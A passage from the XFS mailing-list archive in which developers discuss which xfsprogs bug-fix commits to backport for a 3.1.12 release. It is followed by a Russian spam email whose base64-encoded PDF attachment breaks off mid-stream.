h=x-gm-message-state:from:to:subject:date:user-agent:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=b4TlT7gzI5m/rjcUI5ZTAWOXmAyYUVV5j2awNNRm94A=; b=LpZUa2qyMMQSZIdyzt6+N3kD/PRn/VHSVLonfhOzCXcYJa2M614/hzSGd0ADq/h44J 93lEpBtC9dPH74sgKPQI4NtLSGp/nbbCX8Tln5cxZBG5Q9N1397XSuUoVK1vol/4qs1i LhSlTrXNsQ7adWBmQRO69sl8hGx3j+OZJxue+XMhWgfhdAnnmrcnt3tt7vqECifYY1m/ rZ8rWqL/I4pFmlkWSKeEohenG6bYoSWaWkp37MUkEaWKWpPQxVvPMOa9nUeMWzQ/Xe7a QowinfRYq9NOutSEX49FtCowQ5d4T3+5QaJ8H088/5++ynGkceFvxhmVqpMiybx8++X4 iYlg== X-Gm-Message-State: ALoCoQlZK8sZDRQ7U/rXdeCu3tqEbBICCLDRsqirOLuEVQBoOxl7t80s8PmNisJZYKP+ypNTN4i4 X-Received: by 10.14.202.8 with SMTP id c8mr80178eeo.88.1390292260099; Tue, 21 Jan 2014 00:17:40 -0800 (PST) Received: from t400.localnet ([91.234.176.244]) by mx.google.com with ESMTPSA id u7sm11977756eep.11.2014.01.21.00.17.39 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 21 Jan 2014 00:17:39 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Date: Tue, 21 Jan 2014 09:17:38 +0100 X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? User-Agent: KMail/1.13.7 (Linux/3.13.0-final-dirty; KDE/4.12.0; x86_64; ; ) References: <201401201822.48520.arekm@maven.pl> <20140120230814.GA4287@infradead.org> <20140120231158.GL1935@sgi.com> In-Reply-To: <20140120231158.GL1935@sgi.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201401210917.38674.arekm@maven.pl> X-Barracuda-Connect: mail-ea0-f178.google.com[209.85.215.178] X-Barracuda-Start-Time: 1390292261 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144317 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tuesday 21 of January 2014, Ben Myers wrote: > On Mon, Jan 20, 2014 at 03:08:14PM -0800, Christoph Hellwig wrote: > > On Tue, Jan 21, 2014 at 10:02:59AM +1100, Dave Chinner wrote: > > > Well, that's always been the plan since a 3.1.12 release was > > > proposed 3 months ago. How well has that plan been working out so > > > far? > >=20 > > The sad part is that I would have had the time 3 month ago, but right > > now it's hard. Still trying to get it done, though. >=20 > If Arkadiusz is willing to provide a list of commits to include it > shouldn't be a problem to get this done. I believe he indicated a > willingness to help on IRC earlier today. By looking into git log these look like small fixes for 3.1.x. Could someon= e else recheck? 108e985bc596a1f1a33d31a348fdb430213fb8c0 xfs_fsr: file reads should be O_DI= RECT 46f34a259939d8e815da1a5a5374d39153ed57e3 xfs_metadump: manpage fix regardin= g frozen fs 1b6bf714a7179942b8523cc966124249b74381da mkfs.xfs: fix protofile name creat= e block reservation 504dbe46549d462e79565514d86ce69b74b96893 xfsprogs: avoid double-free in xfs= _attr_node_addname a134873e2903837bdbeab261b6d0ceee2fd499ba xfsprogs: fix buffer leak in xlog_= print_find_oldest 4623d1041dd34d73aeab4b51002fc9ca6d543415 xfsprogs: free bp in xlog_find_zer= oed() error path dc93954aa6f13963bcc87fc00ce55a4745dc7b93 xfsprogs:free bp in xlog_find_tail= () error path aba29588f81dad52129037c15fe584ec89b36a4f xfsprogs: fix agcnts leak in xfs_r= epair's scan_ags 312592defb8b6051389a56a5c780819b4239dab4 xfsprogs: fix unint var in repair = phase6 3ac87fbf6ac29494dc46134323733551aac1737c xfsprogs: fix inode crash in xfs_r= epair e7c05095f5baa9cd2e35a6de03d7dd9f51dd3910 xfsprogs: fix Out-of-bounds access= in repair/dinode.c cbd7508db4c9597889ad98d5f027542002e0e57c xfs_repair: zero out unused parts = of superblocks [we had real issue that this fixes] e6efb967e61a366dbe877f34e220e32866e7db42 xfsprogs: fix Out-of-bounds access= in repair/dinode.c e49f30a76f5e910092bd285ebef3f7641a09ec2e xfsprogs: avoid array overflow in = pf_batch_read() 70ee4153f4c998774adcee1e576d3c1f305b92d0 xfsprogs: fix potential memory lea= k in repare/sb.c 548c2e3e5b123266b4b89cc81bedd113442570b8 [v3, 1/2] xfsprogs: fix potential = memory leak in verify_set_primary_sb() ae181820d03e19f145dbd058c0f8fa59fa18468c xfsprogs: fix return value of veri= fy_set_primary_sb() 050a7f1f79314470c18e9d11c28daf75dd959830 xfsprogs: handle symlinks etc in f= s_table_initialise_mounts() 773d6f6e3800dce5d27af687ebd3ff323dcdfd72 xfsprogs: config.guess/config.sub= out of date for arm64 7f2d6b811755b6b91f18aa5bd9d5980848a81267 xfs_repair: avoid segfault if repo= rting progress early in repair 44dae5e6804408b4123a916a2738b73e21d8c61e xfs_repair: test for bad level in = dir2 node 14e36e34ed975b1ffbbcbc18a7743a3a4859be3d xfsprogs: fix resource leak in lon= gform_dir2_rebuild() 12a48f5d8a06a8ca21b6221e94318e4922f0316c xfsprogs: remove xfs_check refere= nces from fsck.xfs script & manpage 6aa3d87bc45348dc0948ae0cea57bf3033d64694 xfs: don't emit corruption noise o= n fs probes 9aa5711629b47642bb5b688a6a1410d223456fc8 libxfs: fix root inode handling in= consistencies 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode structu= res 61510437c627b529feb95ebffddd73df5ed5b104 repair: prefetching is turned off = unnecessarily 0cce4aa198f0470817bedb3781ea5b6955e43076 repair: Increase default repair pa= rallelism on large filesystems 1adfe5c6296d3ea6c182f31a6728fc94af9146f7 xfs_fsr: fix SWAPEXT failures unde= r selinux 79e106f05f0fbffb89ab5401fb97af5391c6291f xfs_repair: correct docs for "-t" = units 03091fc253963891c728cf362c0f9700294b6dfd xfsprogs: suggest "-d" option for = repair of RO mount 3ae81520e91945454f35fa75833a45b5b000fe33 xfs_repair: suggest reboot after d= angerous repair 4e83ac7b7416edb52815c6e5f4ca64dadfa5f974 xfs_metadump: Make -F (force) opti= onal Not sure about these: 1ba28b64e69ce3a7989df88f71a5cb608b1c71e3 xfs_repair: drop buffer reference = on symlink error 4e503735fd407e2e61295e6af6ec47af4693bc95 xfs_repair: fix btree block magic = number mapping 4fbebf374ccc178f1fedcf2d8a43339031f8dbb4 libxfs: fix dir3 freespace block c= orruption 494434d7fb79840ba113ecd7fb1ac3ae20e0f569 xfs: Add read-only support for dir= ent filetype field 906b762f55333968321062642a0b90feac1fdffb xfs: Add write support for dirent = filetype field 3beed08eb22f56b384d2028541ccb41284ff9751 xfsprogs: add dtype support to mkf= s and db 1acc538540ce22e16bb55ca573691070a8d375db xfsprogs: initialize filetype for = xfs_name_dot 41315687d9db9b50876401e7b0ee20dd77cfc712 xfs: dirent dtype presence is depe= ndent on directory magic numbers 68774b900e0c8368342cb12f649572a86ef2f6e4 xfsprogs: initialize filetype for = lost+found creation 2cca1dbd1c3e12d270a9baa5f85e548e8a5a2125 xfs_repair: add d_type when moving= files to lost+found 87e343bd0937e5bb75dd8bc46ba388b6f8c6552b xfsprog: add xfs sb v4 support for= dirent filetype field 6f700630b06a2ce15aebe8608b2c5877002299d6 xfsprog: add dirent filetype infor= mation for xfs_info 42737f1ad16213a3dab1756c9fffb494db8ef27e xfs_progs: add dirent filetype to = xfs_db version 4eb02d95b7e081b510a7015609f01385aab229a9 xfsprog: add mkfs.xfs sb v4 suppor= t for dirent filetype field 12864fd992dd5d6bc3c089aeb6422c8d235a28f0 xfs: remove newlines from strings = passed to __xfs_printk 3e23516ae60421652fd41354307a6a5181d401eb xfs: fix the wrong new_size/rnew_s= ize at xfs_iext_realloc_direct() c9522f4d8790ecd61c4e74746b607787485f2027 xfs: fix node forward in xfs_node_= toosmall 839dac7f06d54600b3092a7ad9cb903315a27f97 libxfs: work around do_div() not = handling 32 bit numerators ea4a8de1e135905e240a54f192daf23275a7e8a8 xfs_repair: fix process_bmbt_recli= st_int > -Ben =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From BATV+df9393ee1ee4f956f1f9+3803+infradead.org+hch@bombadil.srs.infradead.org Tue Jan 21 02:22:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F0CB27F3F for ; Tue, 21 Jan 2014 02:22:54 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 79D80AC003 for ; Tue, 21 Jan 2014 00:22:54 -0800 (PST) X-ASG-Debug-ID: 1390292572-04cb6c750924f40001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id v5y4CPxuB1YZKz1F (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 21 Jan 2014 00:22:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+df9393ee1ee4f956f1f9+3803+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1W5Wbk-0005JM-2Z; Tue, 21 Jan 2014 08:22:52 +0000 Date: Tue, 21 Jan 2014 00:22:52 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , Dave Chinner , xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Message-ID: <20140121082252.GA20402@infradead.org> X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> <20140120223000.GL18112@dastard> <201401202342.54755.arekm@maven.pl> <20140120230259.GM18112@dastard> <20140120230814.GA4287@infradead.org> <20140120231158.GL1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140120231158.GL1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1390292572 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144317 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Jan 20, 2014 at 05:11:58PM -0600, Ben Myers wrote: > If Arkadiusz is willing to provide a list of commits to include it shouldn't be > a problem to get this done. I believe he indicated a willingness to help on > IRC earlier today. I already provided a list a while ago, although that would have grown a bit by now. But applying the patches isn't really the hard part, the time consuming bit is to provide proper QA. From lauren@charter.com Tue Jan 21 02:54:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD,SUBJ_ALL_CAPS,T_OBFU_PDF_ATTACH autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9613E7F3F for ; Tue, 21 Jan 2014 02:54:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1F8A48F8040 for ; Tue, 21 Jan 2014 00:54:29 -0800 (PST) X-ASG-Debug-ID: 1390294465-04bdf030ea30150001-NocioJ Received: from coltel.ru (mail.coltel.ru [83.167.65.106]) by cuda.sgi.com with ESMTP id iJhMYaHwZ58K9M5B for ; Tue, 21 Jan 2014 00:54:26 -0800 (PST) X-Barracuda-Envelope-From: lauren@charter.com X-Barracuda-Apparent-Source-IP: 83.167.65.106 WrongHello: Yes Received: by coltel.ru (CommuniGate Pro PIPE 5.2.20) with PIPE id 114096228; Tue, 21 Jan 2014 12:54:25 +0400 Received: from [50.16.250.212] (account julya HELO Unknown) by coltel.ru (CommuniGate Pro SMTP 5.2.20) with ESMTPA id 114096270; Tue, 21 Jan 2014 12:54:13 +0400 Received-SPF: softfail receiver=coltel.ru; client-ip=50.16.250.212; envelope-from=lauren@charter.com Message-ID: <95D26603738E466AB24AA1297C899213@grhlyb> Reply-To: =?windows-1251?B?1MjNwM3R2yAyMDE0?= From: =?windows-1251?B?1MjNwM3R2yAyMDE0?= To: , , , Subject: [!! SPAM] =?windows-1251?B?1Ojt4O3x7uLu5SDv6+Dt6PDu4uDt6OU=?= Date: Tue, 21 Jan 2014 09:54:24 +0100 X-ASG-Orig-Subj: [!! SPAM] =?windows-1251?B?1Ojt4O3x7uLu5SDv6+Dt6PDu4uDt6OU=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0CDF_01CF168E.C3E510D0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-SpamTest-Envelope-From: lauren@charter.com X-SpamTest-Group-ID: 00000000 X-SpamTest-Info: Profiles 55695 [Jan 21 2014] X-SpamTest-Info: {GSG-1 detected} X-SpamTest-Method: GSG1 X-SpamTest-Rate: 100 X-SpamTest-Status: SPAM X-SpamTest-Status-Extended: spam X-SpamTest-Version: SMTP-Filter Version 3.0.0 [0284], KAS30/Release X-Proceed_240578_by_spamtest: 1 X-Barracuda-Connect: mail.coltel.ru[83.167.65.106] X-Barracuda-Start-Time: 1390294466 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, HTML_TAG_BALANCE_HEAD X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144318 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_TAG_BALANCE_HEAD BODY: HTML has unbalanced "head" tags 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_0CDF_01CF168E.C3E510D0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_0CE0_01CF168E.C3E510D0" ------=_NextPart_001_0CE0_01CF168E.C3E510D0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D4=E8=ED=E0=ED=F1=EE=E2=FB=E9 =E0=ED=E0=EB=E8=E7 ------=_NextPart_001_0CE0_01CF168E.C3E510D0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=D4=E8=ED=E0=ED=F1=EE=E2=FB=E9 =E0=ED=E0=EB=E8=E7
------=_NextPart_001_0CE0_01CF168E.C3E510D0-- ------=_NextPart_000_0CDF_01CF168E.C3E510D0 Content-Type: application/octet-stream; name="=?windows-1251?B?1Ojt4O3x7uLu5SDv6+Dt6PDu4uDt6OUucGRm?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?1Ojt4O3x7uLu5SDv6+Dt6PDu4uDt6OUucGRm?=" JVBERi0xLjQKJeLjz9MKMSAwIG9iago8PC9BbHRlcm5hdGUvRGV2aWNlUkdCL04gMy9MZW5ndGgg MjU5Ni9GaWx0ZXIvRmxhdGVEZWNvZGU+PnN0cmVhbQp4nJ2Wd1RT2RaHz703vVCSEIqU0GtoUgJI Db1IkS4qMQkQSsCQACI2RFRwRFGRpggyKOCAo0ORsSKKhQFRsesEGUTUcXAUG5ZJZK0Z37x5782b 3x/3fmufvc/dZ+991roAkPyDBcJMWAmADKFYFOHnxYiNi2dgBwEM8AADbADgcLOzQhb4RgKZAnzY jGyZE/gXvboOIPn7KtM/jMEA/5+UuVkiMQBQmIzn8vjZXBkXyTg9V5wlt0/JmLY0Tc4wSs4iWYIy VpNz8ixbfPaZZQ858zKEPBnLc87iZfDk3CfjjTkSvoyRYBkX5wj4uTK+JmODdEmGQMZv5LEZfE42 ACiS3C7mc1NkbC1jkigygi3jeQDgSMlf8NIvWMzPE8sPxc7MWi4SJKeIGSZcU4aNkxOL4c/PTeeL xcwwDjeNI+Ix2JkZWRzhcgBmz/xZFHltGbIiO9g4OTgwbS1tvijUf138m5L3dpZehH/uGUQf+MP2 V36ZDQCwpmW12fqHbWkVAF3rAVC7/YfNYC8AirK+dQ59cR66fF5SxOIsZyur3NxcSwGfaykv6O/6 nw5/Q198z1K+3e/lYXjzkziSdDFDXjduZnqmRMTIzuJw+Qzmn4f4Hwf+dR4WEfwkvogvlEVEy6ZM IEyWtVvIE4gFmUKGQPifmvgPw/6k2bmWidr4EdCWWAKlIRpAfh4AKCoRIAl7ZCvQ730LxkcD+c2L 0ZmYnfvPgv59V7hM/sgWJH+OY0dEMrgSUc7smvxaAjQgAEVAA+pAG+gDE8AEtsARuAAP4AMCQSiI BHFgMeCCFJABRCAXFIC1oBiUgq1gJ6gGdaARNIM2cBh0gWPgNDgHLoHLYATcAVIwDp6AKfAKzEAQ hIXIEBVSh3QgQ8gcsoVYkBvkAwVDEVAclAglQ0JIAhVA66BSqByqhuqhZuhb6Ch0GroADUO3oFFo EvoVegcjMAmmwVqwEWwFs2BPOAiOhBfByfAyOB8ugrfAlXADfBDuhE/Dl+ARWAo/gacRgBAROqKL MBEWwkZCkXgkCREhq5ASpAJpQNqQHqQfuYpIkafIWxQGRUUxUEyUC8ofFYXiopahVqE2o6pRB1Cd qD7UVdQoagr1EU1Ga6LN0c7oAHQsOhmdiy5GV6Cb0B3os+gR9Dj6FQaDoWOMMY4Yf0wcJhWzArMZ sxvTjjmFGcaMYaaxWKw61hzrig3FcrBibDG2CnsQexJ7BTuOfYMj4nRwtjhfXDxOiCvEVeBacCdw V3ATuBm8Et4Q74wPxfPwy/Fl+EZ8D34IP46fISgTjAmuhEhCKmEtoZLQRjhLuEt4QSQS9YhOxHCi gLiGWEk8RDxPHCW+JVFIZiQ2KYEkIW0h7SedIt0ivSCTyUZkD3I8WUzeQm4mnyHfJ79RoCpYKgQo 8BRWK9QodCpcUXimiFc0VPRUXKyYr1iheERxSPGpEl7JSImtxFFapVSjdFTphtK0MlXZRjlUOUN5 s3KL8gXlRxQsxYjiQ+FRiij7KGcoY1SEqk9lU7nUddRG6lnqOA1DM6YF0FJppbRvaIO0KRWKip1K tEqeSo3KcRUpHaEb0QPo6fQy+mH6dfo7VS1VT1W+6ibVNtUrqq/V5qh5qPHVStTa1UbU3qkz1H3U 09S3qXep39NAaZhphGvkauzROKvxdA5tjssc7pySOYfn3NaENc00IzRXaO7THNCc1tLW8tPK0qrS OqP1VJuu7aGdqr1D+4T2pA5Vx01HoLND56TOY4YKw5ORzqhk9DGmdDV1/XUluvW6g7ozesZ6UXqF eu169/QJ+iz9JP0d+r36UwY6BiEGBQatBrcN8YYswxTDXYb9hq+NjI1ijDYYdRk9MlYzDjDON241 vmtCNnE3WWbSYHLNFGPKMk0z3W162Qw2szdLMasxGzKHzR3MBea7zYct0BZOFkKLBosbTBLTk5nD bGWOWtItgy0LLbssn1kZWMVbbbPqt/pobW+dbt1ofceGYhNoU2jTY/OrrZkt17bG9tpc8lzfuavn ds99bmdux7fbY3fTnmofYr/Bvtf+g4Ojg8ihzWHS0cAx0bHW8QaLxgpjbWadd0I7eTmtdjrm9NbZ wVnsfNj5FxemS5pLi8ujecbz+PMa54256rlyXOtdpW4Mt0S3vW5Sd113jnuD+wMPfQ+eR5PHhKep Z6rnQc9nXtZeIq8Or9dsZ/ZK9ilvxNvPu8R70IfiE+VT7XPfV8832bfVd8rP3m+F3yl/tH+Q/zb/ GwFaAdyA5oCpQMfAlYF9QaSgBUHVQQ+CzYJFwT0hcEhgyPaQu/MN5wvnd4WC0IDQ7aH3wozDloV9 H44JDwuvCX8YYRNRENG/gLpgyYKWBa8ivSLLIu9EmURJonqjFaMTopujX8d4x5THSGOtYlfGXorT iBPEdcdj46Pjm+KnF/os3LlwPME+oTjh+iLjRXmLLizWWJy++PgSxSWcJUcS0YkxiS2J7zmhnAbO 9NKApbVLp7hs7i7uE54Hbwdvku/KL+dPJLkmlSc9SnZN3p48meKeUpHyVMAWVAuep/qn1qW+TgtN 25/2KT0mvT0Dl5GYcVRIEaYJ+zK1M/Myh7PMs4qzpMucl+1cNiUKEjVlQ9mLsrvFNNnP1IDERLJe MprjllOT8yY3OvdInnKeMG9gudnyTcsn8n3zv16BWsFd0VugW7C2YHSl58r6VdCqpat6V+uvLlo9 vsZvzYG1hLVpa38otC4sL3y5LmZdT5FW0ZqisfV+61uLFYpFxTc2uGyo24jaKNg4uGnupqpNH0t4 JRdLrUsrSt9v5m6++JXNV5VffdqStGWwzKFsz1bMVuHW69vctx0oVy7PLx/bHrK9cwdjR8mOlzuX 7LxQYVdRt4uwS7JLWhlc2V1lULW16n11SvVIjVdNe61m7aba17t5u6/s8djTVqdVV1r3bq9g7816 v/rOBqOGin2YfTn7HjZGN/Z/zfq6uUmjqbTpw37hfumBiAN9zY7NzS2aLWWtcKukdfJgwsHL33h/ 093GbKtvp7eXHgKHJIcef5v47fXDQYd7j7COtH1n+F1tB7WjpBPqXN451ZXSJe2O6x4+Gni0t8el p+N7y+/3H9M9VnNc5XjZCcKJohOfTuafnD6Vderp6eTTY71Leu+ciT1zrS+8b/Bs0Nnz53zPnen3 7D953vX8sQvOF45eZF3suuRwqXPAfqDjB/sfOgYdBjuHHIe6Lztd7hmeN3ziivuV01e9r567FnDt 0sj8keHrUddv3ki4Ib3Ju/noVvqt57dzbs/cWXMXfbfkntK9ivua9xt+NP2xXeogPT7qPTrwYMGD O2PcsSc/Zf/0frzoIflhxYTORPMj20fHJn0nLz9e+Hj8SdaTmafFPyv/XPvM5Nl3v3j8MjAVOzX+ XPT806+bX6i/2P/S7mXvdNj0/VcZr2Zel7xRf3PgLett/7uYdxMzue+x7ys/mH7o+Rj08e6njE+f fgP3hPP7CmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3QvU3VidHlwZS9J bWFnZS9XaWR0aCAxMjQwL0hlaWdodCAxNzU0L0xlbmd0aCA1ODIzMS9Db2xvclNwYWNlWy9JbmRl eGVkWy9JQ0NCYXNlZCAxIDAgUl0gMyj///+r//84S/8EBFx0KV0vRGVjb2RlUGFybXM8PC9CaXRz UGVyQ29tcG9uZW50IDgvUHJlZGljdG9yIDE1L0NvbHVtbnMgMTI0MC9Db2xvcnMgMT4+L0JpdHNQ ZXJDb21wb25lbnQgOC9GaWx0ZXIvRmxhdGVEZWNvZGU+PnN0cmVhbQp4XuydgXrryMps7/nn/d/5 NlBA0ZIcZydObKfWtwNFQcuyLPUkmX3m/D8hhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQggh hBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQ QgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEII IYQQQgghhBBCCCGEEEIIIYQQQgjxnvyHLIQQ78J//2FnyyyEEC/KcT8rRwghXpPYxdZm1tuZ9jUh xAvT+1mKdoQQ4iWpbaxE7XBCCPGa1H7movCeEEK8KtvG5oUFIYR4SbCZnYIRIYR4MbCJNeVgQAgh npSrbQqbWG9nH25sN1pCCPGDXO5U3lj0xlZgYuNGSwghfhLfjs72o2jcv7HdaAkhxI9ytR+Fv7hz Y7vREkKIn+V0PwozON3YjjtYtYQQ4tfBjsRbkpduLkpMhdEA9uYKIcQvgS1pAWMB4wYYdKw8ukII 8YvklkQbk0neqkodJlfhYVhCCPHb5A7We9Oq/U86Y2Obm5jrPIIQQjwHtivFvtSbkxnpokxhRGHE us0UQohfJ7cl2px8q7oCM0ZvbLQtCiHE77L2o9yrPEXhe9UVMRtjpqMIKYQQvw22KWDbk2HyBtm2 5OucaAghxK/hO5MDY7F0eRAnxGTIuTqBIYQQP8rp5oN9ybi9s0EYWDrQziaE+AUuNiTsVJ68OAP9 Hj9w7gohxEO52I/+BSweaGMTQvw8ZzsPNqpPg+WMvmUTQvw8JxvP2KS8ON2dZmeps7HzpUII8Uhi P6I9KsSn9yMcJYs8SjpCCPFz0MbmOb7+dWMzYTmPto4ebSGE+Dls77E/Dix8fQrfyErH0WLTFEKI H8Z3sdiGLLhFe9Td+AFSJv9wHCGE+BZ8C6rku9GnNyTb2FL5cepoQgjxC9SGltn/fI6xsSF7EkKI 3+C7N7aZhRDiF7ixsX20O1V/iVy9ZSGE+AX2rWilcm7+qozaK7caWQghfoF9K1qpHNq7dkZz5VYj CyHEL7BvRSuVYxtWb1+Eu0aW2tiEEE/EvhWtVI57tIEFabS/cquRhRDiF9i3opXKgWcCHhftrtxq ZCGE+A32LYmc2p5MepHZKblyq5GFEOI32Lckcnh7sspBvahi5VYjCyHEb7BvSeTM7WmvzUihjU0I 8UzsWxI52/a071ba2IQQT8q+JZGzbU/7blUDK/WayB6FEOJ3yL0pt6balfZ9zfavwfnG5mqbFEKI HwU7Ue5aK4Wqbas41nBWQgvOPimEED/KthWtHPKfNjawTwohxM8yNiHbknK3Om5kEGBsbKO3DQoh xA+Tu1Np1J/a2KxAMMOjEEL8GtiGbJ9yic0pd6niWOc+ZskqDOyDQgjx0+zbUeTep5JjDScblSMJ IcSvse9Hkf9lY4ukjU0I8evs+1Hkf9nYMkcSQohfo7alsS99vLHVikoY2OeEEOKHyW3IdjLXtU1t G9Re107myeZzYh8UQoifBZtTRN+iIPeNbK9tBLmaHIUQ4pfYtivbo0LctbG5teJsHSaFEOInwR6U e9FKoQ772nG7utzYjqNCCPFz5BZU2f9YfdicToywVkSrjrKPCiHEz1FbUG5JUNrYhBAvS+1AuSVB fW1j68MKIcSPUztQbk1Q2tiEEC9L7UC5NUHZprXtTscaI9rYhBBPRe1EuTXB8l3LcNeZGkShjU0I 8UTUTpRbEyzsWyBamRg0olVH0cYmhPhFaifKrQkW9q3JiRuz2tiEEE9E7US5NfGmhM3rCkxpYxNC PBe1E+XWtG9K2MQ20Ay0sQkhnoraiXJrOt2UsJ05sAhtbEKIp6J2otyarjelsz3N0cYmhHgqakPL TLvTvWhjE0I8FdrYhBBvx2M2tk8fQgghvpF9S/r8rkT/SiGFNjYhxG8Se1BvTZ/flebG5gf45BGE EOJ7sc1o7US5NZkR8l5ifcg8mhBC/C6+EY2tKfR9+E5Wq72OQgghfpncmoIo7mEs0JYmhHgmamMb 34J9RMwuskYWQojfp/c12q2C6DBoFGahE0kIIZ6A2JGwSUWYeP/U7TVCCPFMxL5kW1XuV4RZ2MMg GHfSPnSFEOKXwL7kG9fCi4mZp41cBR1JCCF+n9yXaI+KCvKjItdHEkKIJyB3JNqjCBhILTxXZ1FC CCF+nX1v6tqA1zLIofa4K4QQv0xtUvaNWH8zFlzuXBhOd+sKIcSvgt3JwnF7amfb8Ra17KwphBC/ iH3fte9L5rjfjSiP39NlQ1ubEOJZONmUqLIOBnjqsMBnpimEEL8ENi5UAVW+XyXwjLHAisOEEEL8 Emsrsv1oblq1Q5nKjusoWgWm19fmCiHEr+HbUW9J2J1slzpuU+1SE0Z0UQkhxK8Qu5R9RdHeHdRc Z/+6c7kQQjyG8Tv/kL49ef0BuZb2MbPuXC2EEA/C9qC5M3G6zdms72t3rRZCiMdw9R3WXVvT2ZAd bXwPJ4QQP0vsaifb0F0b09nQOpod9q71QgjxAGITOtmHduN06mT3WjM2dnJEIYT4EU63K6cbrly3 yiLkzvIve0II8VhiB7rcngo4DqwFjBO8qZ1NCPEb2PbzmP1nHVYbmxDiN7j9fdeXeNiBhRBCCCGE EEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBBCCCGEEEIIIYQQQgghhBDv 